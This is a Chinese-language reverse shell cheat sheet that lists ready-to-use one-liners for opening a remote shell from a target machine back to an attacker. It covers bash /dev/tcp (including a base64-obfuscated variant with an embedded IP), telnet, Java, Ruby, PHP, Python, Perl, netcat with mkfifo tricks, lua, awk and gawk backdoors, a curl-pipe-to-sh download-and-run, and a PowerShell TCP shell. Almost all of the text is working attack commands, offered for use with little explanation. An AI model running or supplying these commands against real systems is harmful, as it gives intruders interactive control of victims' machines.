主要反弹方式
1.bash反弹
利用系统特殊设备文件/dev/tcp建立socket发出去,达到反弹shell的效果bash -i>& /dev/tcp/ip/port 0>&1
bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvNDUuMzIuMjE5LjI0Mi85MTkxIDAgPiYx==}|{base64,-d}|{bash,-i}
2.telnet反弹
适用于nc不可用或者/dev/tcp不可用条件下,其中mknod是创建设备文件mknod test p && telnet ip port 0<test | /bin/bash 1>test
telnet ip port | /bin/bash | telnet ip port
3.Java1
2
3r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
4.Ruby1
ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
不依赖于/bin/sh的shell:1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
5.PHPphp -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'
6.Python(2.7)1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
另外的形式:1
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('ip',port))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
7.Perl1
perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
不依赖于/bin/sh的shell:1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
8.nc
linux:nc -e /bin/sh ip port
Windows:nc -e cmd.exe ip port
当不能使用-e参数时:1
2
3mknod backpipe p && nc ip port 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc ip port
rm -f /tmp/p; mknod /tmp/p p && nc ip port 0/tmp/
nc版本有问题时:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f
其他方式:/sbin/busybox nc ip port -e /bin/bash
/bin/bash -i > /dev/tcp/ip/prot 0<&1 2>&1
9.lua1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"
10.gawk1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
11、awk1
awk 'BEGIN{s="/inet/tcp/0/192.168.1.128/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
12、其他0<&196;exec 196<>/dev/tcp/ip/port;sh <&196 >&196 2>&196
curl https://x.x.sh/ip:port | sh
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('1.1.1.1',6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.UTF8Encoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::UTF8).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
nc 无法接收到shell可尝试使用ncat接收
参考链接:
http://www.freebuf.com/articles/system/147768.html
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html